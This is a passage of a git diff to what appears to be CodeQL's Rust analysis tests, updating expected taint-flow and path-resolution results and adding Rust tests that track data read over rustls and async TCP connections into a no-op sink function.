main.rs:28:13:28:13 | a | provenance | | | main.rs:26:13:26:22 | source(...) | main.rs:26:9:26:9 | a | provenance | | | main.rs:28:9:28:9 | b | main.rs:29:10:29:10 | b | provenance | | -| main.rs:28:13:28:13 | a | main.rs:28:13:28:21 | a.clone() | provenance | MaD:10 | +| main.rs:28:13:28:13 | a | main.rs:28:13:28:21 | a.clone() | provenance | MaD:9 | | main.rs:28:13:28:13 | a | main.rs:28:13:28:21 | a.clone() | provenance | generated | | main.rs:28:13:28:21 | a.clone() | main.rs:28:9:28:9 | b | provenance | | | main.rs:43:18:43:22 | SelfParam [Wrapper] | main.rs:44:26:44:29 | self [Wrapper] | provenance | | @@ -58,14 +56,14 @@ edges | main.rs:66:22:66:31 | source(...) | main.rs:66:17:66:32 | Some(...) [Some] | provenance | | | main.rs:67:13:67:13 | z [Some, tuple.1] | main.rs:68:15:68:15 | z [Some, tuple.1] | provenance | | | main.rs:67:17:67:24 | a.zip(...) [Some, tuple.1] | main.rs:67:13:67:13 | z [Some, tuple.1] | provenance | | -| main.rs:67:23:67:23 | b [Some] | main.rs:67:17:67:24 | a.zip(...) [Some, tuple.1] | provenance | MaD:6 | +| main.rs:67:23:67:23 | b [Some] | main.rs:67:17:67:24 | a.zip(...) [Some, tuple.1] | provenance | MaD:5 | | main.rs:68:15:68:15 | z [Some, tuple.1] | main.rs:69:13:69:24 | Some(...) [Some, tuple.1] | provenance | | | main.rs:69:13:69:24 | Some(...) [Some, tuple.1] | main.rs:69:18:69:23 | TuplePat [tuple.1] | provenance | | | main.rs:69:18:69:23 | TuplePat [tuple.1] | main.rs:69:22:69:22 | m | provenance | | | main.rs:69:22:69:22 | m | main.rs:71:22:71:22 | m | provenance | | | main.rs:92:29:92:29 | [post] y [&ref] | main.rs:93:33:93:33 | y [&ref] | provenance | | -| main.rs:92:32:92:41 | source(...) | main.rs:92:29:92:29 | [post] y [&ref] | provenance | MaD:12 | -| main.rs:93:33:93:33 | y [&ref] | main.rs:93:18:93:34 | ...::read(...) | provenance | MaD:11 | +| main.rs:92:32:92:41 | source(...) | main.rs:92:29:92:29 | [post] y [&ref] | provenance | MaD:11 | +| main.rs:93:33:93:33 | y [&ref] | main.rs:93:18:93:34 | ...::read(...) | provenance | MaD:10 | | main.rs:108:13:108:17 | mut i | main.rs:109:34:109:34 | i | provenance | | | main.rs:108:13:108:17 | mut i | main.rs:110:33:110:33 | i | provenance | | | main.rs:108:13:108:17 | mut i | main.rs:111:47:111:47 | i | provenance | | @@ -74,7 +72,7 @@ edges | main.rs:109:13:109:20 | mut pin1 [&ref] | main.rs:114:15:114:18 | pin1 [&ref] | provenance | | | main.rs:109:13:109:20 | mut pin1 [&ref] | main.rs:115:31:115:34 | pin1 [&ref] | provenance | | | main.rs:109:24:109:35 | ...::new(...) [&ref] | main.rs:109:13:109:20 | mut pin1 [&ref] | provenance | | -| main.rs:109:33:109:34 | &i [&ref] | main.rs:109:24:109:35 | ...::new(...) [&ref] | provenance | MaD:8 | +| main.rs:109:33:109:34 | &i [&ref] | main.rs:109:24:109:35 | ...::new(...) [&ref] | provenance | MaD:7 | | main.rs:109:34:109:34 | i | main.rs:109:33:109:34 | &i [&ref] | provenance | | | main.rs:110:13:110:20 | mut pin2 [&ref] | main.rs:116:15:116:18 | pin2 [&ref] | provenance | | | main.rs:110:24:110:34 | ...::pin(...) [&ref] | main.rs:110:13:110:20 | mut pin2 [&ref] | provenance | | @@ -85,7 +83,7 @@ edges | main.rs:111:47:111:47 | i | main.rs:111:38:111:48 | ...::new(...) [&ref] | provenance | MaD:2 | | main.rs:114:15:114:18 | pin1 [&ref] | main.rs:114:14:114:18 | * ... | provenance | | | main.rs:115:15:115:35 | ...::into_inner(...) [&ref] | main.rs:115:14:115:35 | * ... | provenance | | -| main.rs:115:31:115:34 | pin1 [&ref] | main.rs:115:15:115:35 | ...::into_inner(...) [&ref] | provenance | MaD:7 | +| main.rs:115:31:115:34 | pin1 [&ref] | main.rs:115:15:115:35 | ...::into_inner(...) [&ref] | provenance | MaD:6 | | main.rs:116:15:116:18 | pin2 [&ref] | main.rs:116:14:116:18 | * ... | provenance | | | main.rs:117:15:117:18 | pin3 [&ref] | main.rs:117:14:117:18 | * ... | provenance | | | main.rs:122:13:122:18 | mut ms [MyStruct] | main.rs:127:14:127:15 | ms [MyStruct] | provenance | | diff --git a/rust/ql/test/library-tests/dataflow/sources/CONSISTENCY/PathResolutionConsistency.expected b/rust/ql/test/library-tests/dataflow/sources/CONSISTENCY/PathResolutionConsistency.expected index 0aa77163252..4433a59fff1 100644 --- a/rust/ql/test/library-tests/dataflow/sources/CONSISTENCY/PathResolutionConsistency.expected +++ b/rust/ql/test/library-tests/dataflow/sources/CONSISTENCY/PathResolutionConsistency.expected @@ -1,3 +1,87 @@ +multipleMethodCallTargets +| test.rs:618:25:618:49 | address.to_socket_addrs() | file://:0:0:0:0 | fn to_socket_addrs | +| test.rs:618:25:618:49 | address.to_socket_addrs() | file://:0:0:0:0 | fn to_socket_addrs | +| test_futures_io.rs:35:26:35:63 | pinned.poll_read(...) | file://:0:0:0:0 | fn poll_read | +| test_futures_io.rs:35:26:35:63 | pinned.poll_read(...) | file://:0:0:0:0 | fn poll_read | +| test_futures_io.rs:35:26:35:63 | pinned.poll_read(...) | file://:0:0:0:0 | fn poll_read | +| test_futures_io.rs:61:22:61:50 | pinned.poll_fill_buf(...) | file://:0:0:0:0 | fn poll_fill_buf | +| test_futures_io.rs:61:22:61:50 | pinned.poll_fill_buf(...) | file://:0:0:0:0 | fn poll_fill_buf | +| test_futures_io.rs:68:23:68:67 | ... .poll_fill_buf(...) | file://:0:0:0:0 | fn poll_fill_buf | +| test_futures_io.rs:68:23:68:67 | ... .poll_fill_buf(...) | file://:0:0:0:0 | fn poll_fill_buf | +| test_futures_io.rs:92:26:92:63 | pinned.poll_read(...) | file://:0:0:0:0 | fn poll_read | +| test_futures_io.rs:92:26:92:63 | pinned.poll_read(...) | file://:0:0:0:0 | fn poll_read | +| test_futures_io.rs:92:26:92:63 | pinned.poll_read(...) | file://:0:0:0:0 | fn poll_read | +| test_futures_io.rs:115:22:115:50 | pinned.poll_fill_buf(...) | file://:0:0:0:0 | fn poll_fill_buf | +| test_futures_io.rs:115:22:115:50 | pinned.poll_fill_buf(...) | file://:0:0:0:0 | fn poll_fill_buf | +multiplePathResolutions +| test.rs:112:62:112:73 | ...::from | file://:0:0:0:0 | fn from | +| test.rs:112:62:112:73 | ...::from | file://:0:0:0:0 | fn from | +| test.rs:112:62:112:73 | ...::from | file://:0:0:0:0 | fn from | +| test.rs:112:62:112:73 | ...::from | file://:0:0:0:0 | fn from | +| test.rs:112:62:112:73 | ...::from | file://:0:0:0:0 | fn from | +| test.rs:112:62:112:73 | ...::from | file://:0:0:0:0 | fn from | +| test.rs:112:62:112:73 | ...::from | file://:0:0:0:0 | fn from | +| test.rs:112:62:112:73 | ...::from | file://:0:0:0:0 | fn from | +| test.rs:112:62:112:73 | ...::from | file://:0:0:0:0 | fn from | +| test.rs:112:62:112:73 | ...::from | file://:0:0:0:0 | fn from | +| test.rs:112:62:112:73 | ...::from | file://:0:0:0:0 | fn from | +| test.rs:112:62:112:73 | ...::from | file://:0:0:0:0 | fn from | +| test.rs:112:62:112:73 | ...::from | file://:0:0:0:0 | fn from | +| test.rs:112:62:112:73 | ...::from | file://:0:0:0:0 | fn from | +| test.rs:112:62:112:73 | ...::from | file://:0:0:0:0 | fn from | +| test.rs:119:58:119:69 | ...::from | file://:0:0:0:0 | fn from | +| test.rs:119:58:119:69 | ...::from | file://:0:0:0:0 | fn from | +| test.rs:119:58:119:69 | ...::from | file://:0:0:0:0 | fn from | +| test.rs:119:58:119:69 | ...::from | file://:0:0:0:0 | fn from | +| test.rs:119:58:119:69 | ...::from | file://:0:0:0:0 | fn from | +| test.rs:119:58:119:69 | ...::from | file://:0:0:0:0 | fn from | +| test.rs:119:58:119:69 | ...::from | file://:0:0:0:0 | fn from | +| test.rs:119:58:119:69 | ...::from | file://:0:0:0:0 | fn from | +| test.rs:119:58:119:69 | ...::from | file://:0:0:0:0 | fn from | +| test.rs:119:58:119:69 | ...::from | file://:0:0:0:0 | fn from | +| test.rs:119:58:119:69 | ...::from | file://:0:0:0:0 | fn from | +| test.rs:119:58:119:69 | ...::from | file://:0:0:0:0 | fn from | +| test.rs:119:58:119:69 | ...::from | file://:0:0:0:0 | fn from | +| test.rs:119:58:119:69 | ...::from | file://:0:0:0:0 | fn from | +| test.rs:119:58:119:69 | ...::from | file://:0:0:0:0 | fn from | +| test.rs:777:23:777:61 | ...::try_from | file://:0:0:0:0 | fn try_from | +| test.rs:777:23:777:61 | ...::try_from | file://:0:0:0:0 | fn try_from | +| test.rs:777:23:777:61 | ...::try_from | file://:0:0:0:0 | fn try_from | +| test.rs:806:50:806:61 | ...::from | file://:0:0:0:0 | fn from | +| test.rs:806:50:806:61 | ...::from | file://:0:0:0:0 | fn from | +| test.rs:806:50:806:61 | ...::from | file://:0:0:0:0 | fn from | +| test.rs:806:50:806:61 | ...::from | file://:0:0:0:0 | fn from | +| test.rs:806:50:806:61 | ...::from | file://:0:0:0:0 | fn from | +| test.rs:806:50:806:61 | ...::from | file://:0:0:0:0 | fn from | +| test.rs:806:50:806:61 | ...::from | file://:0:0:0:0 | fn from | +| test.rs:806:50:806:61 | ...::from | file://:0:0:0:0 | fn from | +| test.rs:806:50:806:61 | ...::from | file://:0:0:0:0 | fn from | +| test.rs:806:50:806:61 | ...::from | file://:0:0:0:0 | fn from | +| test.rs:806:50:806:61 | ...::from | file://:0:0:0:0 | fn from | +| test.rs:806:50:806:61 | ...::from | file://:0:0:0:0 | fn from | +| test.rs:806:50:806:61 | ...::from | file://:0:0:0:0 | fn from | +| test.rs:806:50:806:61 | ...::from | file://:0:0:0:0 | fn from | +| test.rs:806:50:806:61 | ...::from | file://:0:0:0:0 | fn from | +| test.rs:806:50:806:61 | ...::from | file://:0:0:0:0 | fn from | +| test.rs:806:50:806:61 | ...::from | file://:0:0:0:0 | fn from | +| test.rs:806:50:806:61 | ...::from | file://:0:0:0:0 | fn from | +| test.rs:806:50:806:61 | ...::from | file://:0:0:0:0 | fn from | +| test.rs:806:50:806:61 | ...::from | file://:0:0:0:0 | fn from | +| test.rs:806:50:806:61 | ...::from | file://:0:0:0:0 | fn from | +| test.rs:806:50:806:61 | ...::from | file://:0:0:0:0 | fn from | +| test.rs:806:50:806:61 | ...::from | file://:0:0:0:0 | fn from | +| test.rs:806:50:806:61 | ...::from | file://:0:0:0:0 | fn from | +| test.rs:806:50:806:61 | ...::from | file://:0:0:0:0 | fn from | +| test.rs:806:50:806:61 | ...::from | file://:0:0:0:0 | fn from | +| test.rs:806:50:806:61 | ...::from | file://:0:0:0:0 | fn from | +| test.rs:806:50:806:61 | ...::from | file://:0:0:0:0 | fn from | +| test.rs:806:50:806:61 | ...::from | file://:0:0:0:0 | fn from | +| test.rs:806:50:806:61 | ...::from | file://:0:0:0:0 | fn from | +| test_futures_io.rs:25:23:25:61 | ...::try_from | file://:0:0:0:0 | fn try_from | +| test_futures_io.rs:25:23:25:61 | ...::try_from | file://:0:0:0:0 | fn try_from | +| test_futures_io.rs:25:23:25:61 | ...::try_from | file://:0:0:0:0 | fn try_from | +| test_futures_io.rs:144:26:144:43 | ...::with_capacity | file://:0:0:0:0 | fn with_capacity | +| test_futures_io.rs:144:26:144:43 | ...::with_capacity | file://:0:0:0:0 | fn with_capacity | multipleCanonicalPaths | file://:0:0:0:0 | fn to_ordering | file://:0:0:0:0 | Crate(typenum@1.18.0) | ::to_ordering | | file://:0:0:0:0 | fn to_ordering | file://:0:0:0:0 | Crate(typenum@1.18.0) | ::to_ordering | diff --git a/rust/ql/test/library-tests/dataflow/sources/InlineFlow.ql b/rust/ql/test/library-tests/dataflow/sources/InlineFlow.ql index 7d5f4fb926f..f0a38e29f19 100644 --- a/rust/ql/test/library-tests/dataflow/sources/InlineFlow.ql +++ b/rust/ql/test/library-tests/dataflow/sources/InlineFlow.ql @@ -10,7 +10,7 @@ module MyFlowConfig implements DataFlow::ConfigSig { predicate isSource(DataFlow::Node source) { source instanceof ThreatModelSource } predicate isSink(DataFlow::Node sink) { - any(CallExpr call | call.getFunction().(PathExpr).getResolvedPath() = "crate::test::sink") + any(CallExpr call | call.getFunction().(PathExpr).getResolvedPath().matches("%::sink")) .getArgList() .getAnArg() = sink.asExpr().getExpr() } diff --git a/rust/ql/test/library-tests/dataflow/sources/TaintSources.expected b/rust/ql/test/library-tests/dataflow/sources/TaintSources.expected index da3b69eb050..1958d6a87bf 100644 --- a/rust/ql/test/library-tests/dataflow/sources/TaintSources.expected +++ b/rust/ql/test/library-tests/dataflow/sources/TaintSources.expected @@ -50,7 +50,10 @@ | test.rs:384:58:384:73 | ...::stdin | Flow source 'StdInSource' of type stdin (DEFAULT). | | test.rs:392:48:392:63 | ...::stdin | Flow source 'StdInSource' of type stdin (DEFAULT). | | test.rs:407:31:407:43 | ...::read | Flow source 'FileSource' of type file (DEFAULT). | +| test.rs:407:31:407:43 | ...::read | Flow source 'FileSource' of type file (DEFAULT). | | test.rs:412:31:412:38 | ...::read | Flow source 'FileSource' of type file (DEFAULT). | +| test.rs:412:31:412:38 | ...::read | Flow source 'FileSource' of type file (DEFAULT). | +| test.rs:417:22:417:39 | ...::read_to_string | Flow source 'FileSource' of type file (DEFAULT). | | test.rs:417:22:417:39 | ...::read_to_string | Flow source 'FileSource' of type file (DEFAULT). | | test.rs:423:22:423:25 | path | Flow source 'FileSource' of type file (DEFAULT). | | test.rs:424:27:424:35 | file_name | Flow source 'FileSource' of type file (DEFAULT). | @@ -75,8 +78,10 @@ | test.rs:619:26:619:61 | ...::connect_timeout | Flow source 'RemoteSource' of type remote (DEFAULT). | | test.rs:671:28:671:57 | ...::connect | Flow source 'RemoteSource' of type remote (DEFAULT). | | test.rs:753:22:753:49 | ...::connect | Flow source 'RemoteSource' of type remote (DEFAULT). | -| test.rs:775:16:775:29 | ...::args | Flow source 'CommandLineArgs' of type commandargs (DEFAULT). | -| test.rs:775:16:775:29 | ...::args | Flow source 'CommandLineArgs' of type commandargs (DEFAULT). | +| test.rs:779:22:779:50 | ...::new | Flow source 'RemoteSource' of type remote (DEFAULT). | +| test.rs:806:16:806:29 | ...::args | Flow source 'CommandLineArgs' of type commandargs (DEFAULT). | +| test.rs:806:16:806:29 | ...::args | Flow source 'CommandLineArgs' of type commandargs (DEFAULT). | +| test_futures_io.rs:19:15:19:32 | ...::connect | Flow source 'RemoteSource' of type remote (DEFAULT). | | web_frameworks.rs:12:31:12:31 | a | Flow source 'RemoteSource' of type remote (DEFAULT). | | web_frameworks.rs:12:31:12:31 | a | Flow source 'RemoteSource' of type remote (DEFAULT). | | web_frameworks.rs:21:31:21:35 | TuplePat | Flow source 'RemoteSource' of type remote (DEFAULT). | diff --git a/rust/ql/test/library-tests/dataflow/sources/options.yml b/rust/ql/test/library-tests/dataflow/sources/options.yml index a9d9354529e..a05a970f7b8 100644 --- a/rust/ql/test/library-tests/dataflow/sources/options.yml +++ b/rust/ql/test/library-tests/dataflow/sources/options.yml @@ -13,3 +13,6 @@ qltest_dependencies: - actix-web = { version = "4.10.2" } - axum = { version = "0.8.4" } - serde_json = { version = "1.0.140" } + - rustls = { version = "0.23.27" } + - futures-rustls = { version = "0.26.0" } + - async-std = { version = "1.13.1" } diff --git a/rust/ql/test/library-tests/dataflow/sources/test.rs b/rust/ql/test/library-tests/dataflow/sources/test.rs index 370f3d4c9b6..342efbba69e 100644 --- a/rust/ql/test/library-tests/dataflow/sources/test.rs +++ b/rust/ql/test/library-tests/dataflow/sources/test.rs @@ -770,6 +770,37 @@ async fn test_std_to_tokio_tcpstream() -> std::io::Result<()> { Ok(()) } +fn test_rustls() -> std::io::Result<()> { + let config = rustls::ClientConfig::builder() + .with_root_certificates(rustls::RootCertStore::empty()) + .with_no_client_auth(); + let server_name = rustls::pki_types::ServerName::try_from("www.example.com").unwrap(); + let config_arc = std::sync::Arc::new(config); + let mut client = rustls::ClientConnection::new(config_arc, server_name).unwrap(); // $ Alert[rust/summary/taint-sources] + let mut reader = client.reader(); + sink(&reader); // $ hasTaintFlow=config_arc + + { + let mut buffer = [0u8; 100]; + let _bytes = reader.read(&mut buffer)?; + sink(&buffer); // $ hasTaintFlow=config_arc + } + + { + let mut buffer = Vec::::new(); + let _bytes = reader.read_to_end(&mut buffer)?; + sink(&buffer); // $ hasTaintFlow=config_arc + } + + { + let mut buffer = String::new(); + let _bytes = reader.read_to_string(&mut buffer)?; + sink(&buffer); // $ hasTaintFlow=config_arc + } + + Ok(()) +} + #[tokio::main] async fn main() -> Result<(), Box> { let case = std::env::args().nth(1).unwrap_or(String::from("1")).parse::().unwrap(); // $ Alert[rust/summary/taint-sources] @@ -849,5 +880,11 @@ async fn main() -> Result<(), Box> { Err(e) => println!("error: {}", e), } + println!("test_rustls..."); + match test_rustls() { + Ok(_) => println!("complete"), + Err(e) => println!("error: {}", e), + } + Ok(()) } diff --git a/rust/ql/test/library-tests/dataflow/sources/test_futures_io.rs b/rust/ql/test/library-tests/dataflow/sources/test_futures_io.rs new file mode 100644 index 00000000000..6e7747424d6 --- /dev/null +++ b/rust/ql/test/library-tests/dataflow/sources/test_futures_io.rs @@ -0,0 +1,159 @@ +fn sink(_: T) { } + +// --- tests --- + +use std::pin::Pin; +use std::task::{Context, Poll}; +use std::io; +use futures::io::AsyncRead; +use futures::io::AsyncReadExt; +use futures::io::AsyncBufRead; +use futures::io::AsyncBufReadExt; +use futures::StreamExt; +use futures_rustls::{TlsConnector}; +use async_std::sync::Arc; +use async_std::net::TcpStream; + +async fn test_futures_rustls_futures_io() -> io::Result<()> { + let url = "www.example.com:443"; + let tcp = TcpStream::connect(url).await?; // $ Alert[rust/summary/taint-sources] + sink(&tcp); // $ hasTaintFlow=url + let config = rustls::ClientConfig::builder() + .with_root_certificates(rustls::RootCertStore::empty()) + .with_no_client_auth(); + let connector = TlsConnector::from(Arc::new(config)); + let server_name = rustls::pki_types::ServerName::try_from("www.example.com").unwrap(); + let mut reader = connector.connect(server_name, tcp).await?; + sink(&reader); // $ hasTaintFlow=url + + { + // using the `AsyncRead` trait (low-level) + let mut buffer = [0u8; 64]; + let mut pinned = Pin::new(&mut reader); + sink(&pinned); // $ hasTaintFlow=url + let mut cx = Context::from_waker(futures::task::noop_waker_ref()); + let bytes_read = pinned.poll_read(&mut cx, &mut buffer); + if let Poll::Ready(Ok(n)) = bytes_read { + sink(&buffer); // $ hasTaintFlow=url + sink(&buffer[..n]); // $ hasTaintFlow=url + } + } + + { + // using the `AsyncReadExt::read` extension method (higher-level) + let mut buffer1 = [0u8; 64]; + let bytes_read1 = futures::io::AsyncReadExt::read(&mut reader, &mut buffer1).await?; + sink(&buffer1[..bytes_read1]); // $ hasTaintFlow=url + + let mut buffer2 = [0u8; 64]; + let bytes_read2 = reader.read(&mut buffer2).await?; + sink(&buffer2[..bytes_read2]); // $ hasTaintFlow=url + } + + let mut reader2 = futures::io::BufReader::new(reader); + sink(&reader2); // $ hasTaintFlow=url + + { + // using the `AsyncBufRead` trait (low-level) + let mut pinned = Pin::new(&mut reader2); + sink(&pinned); // $ hasTaintFlow=url + let mut cx = Context::from_waker(futures::task::noop_waker_ref()); + let buffer = pinned.poll_fill_buf(&mut cx); + if let Poll::Ready(Ok(buf)) = buffer { + sink(&buffer); // $ MISSING: hasTaintFlow=url + sink(buf); // $ MISSING: hasTaintFlow=url + } + + // using the `AsyncBufRead` trait (alternative syntax) + let buffer2 = Pin::new(&mut reader2).poll_fill_buf(&mut cx); + match (buffer2) { + Poll::Ready(Ok(buf)) => { + sink(&buffer2); // $ MISSING: hasTaintFlow=url + sink(buf); // $ MISSING: hasTaintFlow=url + } + _ => { + // ... + } + } + } + + { + // using the `AsyncBufReadExt::fill_buf` extension method (higher-level) + let buffer = reader2.fill_buf().await?; + sink(buffer); // $ hasTaintFlow=url + } + + { + // using the `AsyncRead` trait (low-level) + let mut buffer = [0u8; 64]; + let mut pinned = Pin::new(&mut reader2); + sink(&pinned); // $ hasTaintFlow=url + let mut cx = Context::from_waker(futures::task::noop_waker_ref()); + let bytes_read = pinned.poll_read(&mut cx, &mut buffer); + sink(&buffer); // $ MISSING: hasTaintFlow=url + if let Poll::Ready(Ok(n)) = bytes_read { + sink(&buffer[..n]); // $ MISSING: hasTaintFlow=url + } + } + + { + // using the `AsyncReadExt::read` extension method (higher-level) + let mut buffer1 = [0u8; 64]; + let bytes_read1 = futures::io::AsyncReadExt::read(&mut reader2, &mut buffer1).await?; + sink(&buffer1[..bytes_read1]); // $ hasTaintFlow=url + + let mut buffer2 = [0u8; 64]; + let bytes_read2 = reader2.read(&mut buffer2).await?; + sink(&buffer2[..bytes_read2]); // $ hasTaintFlow=url + } + + { + // using the `AsyncBufRead` trait (low-level) + let mut pinned = Pin::new(&mut reader2); + sink(&pinned); // $ hasTaintFlow=url + let mut cx = Context::from_waker(futures::task::noop_waker_ref()); + let buffer = pinned.poll_fill_buf(&mut cx); + sink(&buffer); // $ MISSING: hasTaintFlow=url + if let Poll::Ready(Ok(buf)) = buffer { + sink(buf); // $ MISSING: hasTaintFlow=url + } + } + + { + // using the `AsyncBufReadExt::fill_buf` extension method (higher-level) + let buffer = reader2.fill_buf().await?; + sink(buffer); // $ hasTaintFlow=url + } + + { + // using the `AsyncBufReadExt::read_until` extension method + let mut line = Vec::new(); + let _bytes_read = reader2.read_until(b'\n', &mut line).await?; + sink(&line); // $ hasTaintFlow=url + } + + { + // using the `AsyncBufReadExt::read_line` extension method + let mut line = String::new(); + let _bytes_read = reader2.read_line(&mut line).await?; + sink(&line); // $ hasTaintFlow=url + } + + { + // using the `AsyncBufReadExt::read_to_end` extension method + let mut buffer = Vec::with_capacity(1024); + let _bytes_read = reader2.read_to_end(&mut buffer).await?; + sink(&buffer); // $ hasTaintFlow=url + } + + { + // using the `AsyncBufReadExt::lines` extension method + let mut lines_stream = reader2.lines(); + sink(lines_stream.next().await.unwrap()); // $ hasTaintFlow=url + while let Some(line) = lines_stream.next().await { + sink(line.unwrap()); // $ MISSING: hasTaintFlow + } + } + + Ok(()) +} diff --git a/rust/ql/test/library-tests/dataflow/sources/web_frameworks.rs b/rust/ql/test/library-tests/dataflow/sources/web_frameworks.rs index 6bfee08a3d2..f1bf3ab6b0b 100644 --- a/rust/ql/test/library-tests/dataflow/sources/web_frameworks.rs +++ b/rust/ql/test/library-tests/dataflow/sources/web_frameworks.rs @@ -10,9 +10,9 @@ mod poem_test { #[handler] fn my_poem_handler_1(Path(a): Path) -> String { // $ Alert[rust/summary/taint-sources] - sink(a.as_str()); // $ MISSING: hasTaintFlow - sink(a.as_bytes()); // $ MISSING: hasTaintFlow - sink(a); // $ MISSING: hasTaintFlow + sink(a.as_str()); // $ hasTaintFlow + sink(a.as_bytes()); // $ hasTaintFlow + sink(a); // $ hasTaintFlow "".to_string() } @@ -59,7 +59,7 @@ mod poem_test { fn my_poem_handler_6( Query(a): Query, // $ Alert[rust/summary/taint-sources] ) -> String { - sink(a); // $ MISSING: hasTaintFlow + sink(a); // $ hasTaintFlow "".to_string() } diff --git a/rust/ql/test/library-tests/dataflow/strings/CONSISTENCY/PathResolutionConsistency.expected b/rust/ql/test/library-tests/dataflow/strings/CONSISTENCY/PathResolutionConsistency.expected new file mode 100644 index 00000000000..090ecfe601c --- /dev/null +++ b/rust/ql/test/library-tests/dataflow/strings/CONSISTENCY/PathResolutionConsistency.expected @@ -0,0 +1,7 @@ +multiplePathResolutions +| main.rs:52:11:52:22 | ...::from | file://:0:0:0:0 | fn from | +| main.rs:52:11:52:22 | ...::from | file://:0:0:0:0 | fn from | +| main.rs:52:11:52:22 | ...::from | file://:0:0:0:0 | fn from | +| main.rs:52:11:52:22 | ...::from | file://:0:0:0:0 | fn from | +| main.rs:52:11:52:22 | ...::from | file://:0:0:0:0 | fn from | +| main.rs:52:11:52:22 | ...::from | file://:0:0:0:0 | fn from | diff --git a/rust/ql/test/library-tests/dataflow/strings/inline-taint-flow.expected b/rust/ql/test/library-tests/dataflow/strings/inline-taint-flow.expected index 63076f6b5df..5c56cf594e7 100644 --- a/rust/ql/test/library-tests/dataflow/strings/inline-taint-flow.expected +++ b/rust/ql/test/library-tests/dataflow/strings/inline-taint-flow.expected @@ -22,8 +22,10 @@ edges | main.rs:57:11:57:26 | source_slice(...) | main.rs:57:6:57:7 | s1 | provenance | | | main.rs:58:6:58:7 | s2 | main.rs:59:7:59:8 | s2 | provenance | | | main.rs:58:11:58:24 | s1.to_string() | main.rs:58:6:58:7 | s2 | provenance | | +| main.rs:63:9:63:9 | s | main.rs:64:16:64:16 | s | provenance | | | main.rs:63:9:63:9 | s | main.rs:64:16:64:25 | s.as_str() | provenance | MaD:3 | | main.rs:63:13:63:22 | source(...) | main.rs:63:9:63:9 | s | provenance | | +| main.rs:64:16:64:16 | s | main.rs:64:16:64:25 | s.as_str() | provenance | MaD:3 | | main.rs:68:9:68:9 | s | main.rs:70:34:70:61 | MacroExpr | provenance | | | main.rs:68:9:68:9 | s | main.rs:73:34:73:59 | MacroExpr | provenance | | | main.rs:68:13:68:22 | source(...) | main.rs:68:9:68:9 | s | provenance | | @@ -75,6 +77,7 @@ nodes | main.rs:59:7:59:8 | s2 | semmle.label | s2 | | main.rs:63:9:63:9 | s | semmle.label | s | | main.rs:63:13:63:22 | source(...) | semmle.label | source(...) | +| main.rs:64:16:64:16 | s | semmle.label | s | | main.rs:64:16:64:25 | s.as_str() | semmle.label | s.as_str() | | main.rs:68:9:68:9 | s | semmle.label | s | | main.rs:68:13:68:22 | source(...) | semmle.label | source(...) | diff --git a/rust/ql/test/library-tests/path-resolution/main.rs b/rust/ql/test/library-tests/path-resolution/main.rs index ce44915a9d4..3b68cff897a 100644 --- a/rust/ql/test/library-tests/path-resolution/main.rs +++ b/rust/ql/test/library-tests/path-resolution/main.rs @@ -285,7 +285,7 @@ mod m13 { pub struct f {} // I72 mod m14 { - use crate::m13::f; // $ item=I71 item=I72 + use zelf::m13::f; // $ item=I71 item=I72 #[rustfmt::skip] fn g(x: f) { // $ item=I72 @@ -621,6 +621,8 @@ mod m24 { } // I121 } +extern crate self as zelf; + fn main() { my::nested::nested1::nested2::f(); // $ item=I4 my::f(); // $ item=I38 @@ -650,4 +652,5 @@ fn main() { m18::m19::m20::g(); // $ item=I103 m23::f(); // $ item=I108 m24::f(); // $ item=I121 + zelf::h(); // $ item=I25 } diff --git a/rust/ql/test/library-tests/path-resolution/my.rs b/rust/ql/test/library-tests/path-resolution/my.rs index 3d7b150214a..f2488df4959 100644 --- a/rust/ql/test/library-tests/path-resolution/my.rs +++ b/rust/ql/test/library-tests/path-resolution/my.rs @@ -21,7 +21,7 @@ type Result< T, // T > = ::std::result::Result< T, // $ item=T - String,> // $ item=Result + String,> // $ item=Result $ item=String ; // my::Result fn int_div( diff --git a/rust/ql/test/library-tests/path-resolution/path-resolution.expected b/rust/ql/test/library-tests/path-resolution/path-resolution.expected index 806b0059093..666c80dae77 100644 --- a/rust/ql/test/library-tests/path-resolution/path-resolution.expected +++ b/rust/ql/test/library-tests/path-resolution/path-resolution.expected @@ -1,4 +1,3 @@ -testFailures mod | lib.rs:1:1:1:7 | mod my | | main.rs:1:1:1:7 | mod my | @@ -62,7 +61,7 @@ resolvePath | main.rs:30:17:30:21 | super | main.rs:18:5:36:5 | mod m2 | | main.rs:30:17:30:24 | ...::f | main.rs:19:9:21:9 | fn f | | main.rs:33:17:33:17 | f | main.rs:19:9:21:9 | fn f | -| main.rs:40:9:40:13 | super | main.rs:1:1:653:2 | SourceFile | +| main.rs:40:9:40:13 | super | main.rs:1:1:656:2 | SourceFile | | main.rs:40:9:40:17 | ...::m1 | main.rs:13:1:37:1 | mod m1 | | main.rs:40:9:40:21 | ...::m2 | main.rs:18:5:36:5 | mod m2 | | main.rs:40:9:40:24 | ...::g | main.rs:23:9:27:9 | fn g | @@ -74,10 +73,10 @@ resolvePath | main.rs:61:17:61:19 | Foo | main.rs:59:9:59:21 | struct Foo | | main.rs:64:13:64:15 | Foo | main.rs:53:5:53:17 | struct Foo | | main.rs:66:5:66:5 | f | main.rs:55:5:62:5 | fn f | -| main.rs:68:5:68:8 | self | main.rs:1:1:653:2 | SourceFile | +| main.rs:68:5:68:8 | self | main.rs:1:1:656:2 | SourceFile | | main.rs:68:5:68:11 | ...::i | main.rs:71:1:83:1 | fn i | | main.rs:74:13:74:15 | Foo | main.rs:48:1:48:13 | struct Foo | -| main.rs:78:16:78:18 | i32 | file:///BUILTINS/types.rs:12:1:12:15 | struct i32 | +| main.rs:78:16:78:18 | i32 | {EXTERNAL LOCATION} | struct i32 | | main.rs:81:17:81:19 | Foo | main.rs:77:9:79:9 | struct Foo | | main.rs:85:5:85:7 | my2 | main.rs:7:1:7:8 | mod my2 | | main.rs:85:5:85:16 | ...::nested2 | my2/mod.rs:1:1:1:16 | mod nested2 | @@ -89,12 +88,12 @@ resolvePath | main.rs:87:57:87:66 | ...::g | my2/nested2.rs:7:9:9:9 | fn g | | main.rs:87:80:87:86 | nested4 | my2/nested2.rs:2:5:10:5 | mod nested4 | | main.rs:100:5:100:22 | f_defined_in_macro | main.rs:99:18:99:42 | fn f_defined_in_macro | -| main.rs:117:13:117:17 | super | main.rs:1:1:653:2 | SourceFile | +| main.rs:117:13:117:17 | super | main.rs:1:1:656:2 | SourceFile | | main.rs:117:13:117:21 | ...::m5 | main.rs:103:1:107:1 | mod m5 | | main.rs:118:9:118:9 | f | main.rs:104:5:106:5 | fn f | | main.rs:118:9:118:9 | f | main.rs:110:5:112:5 | fn f | -| 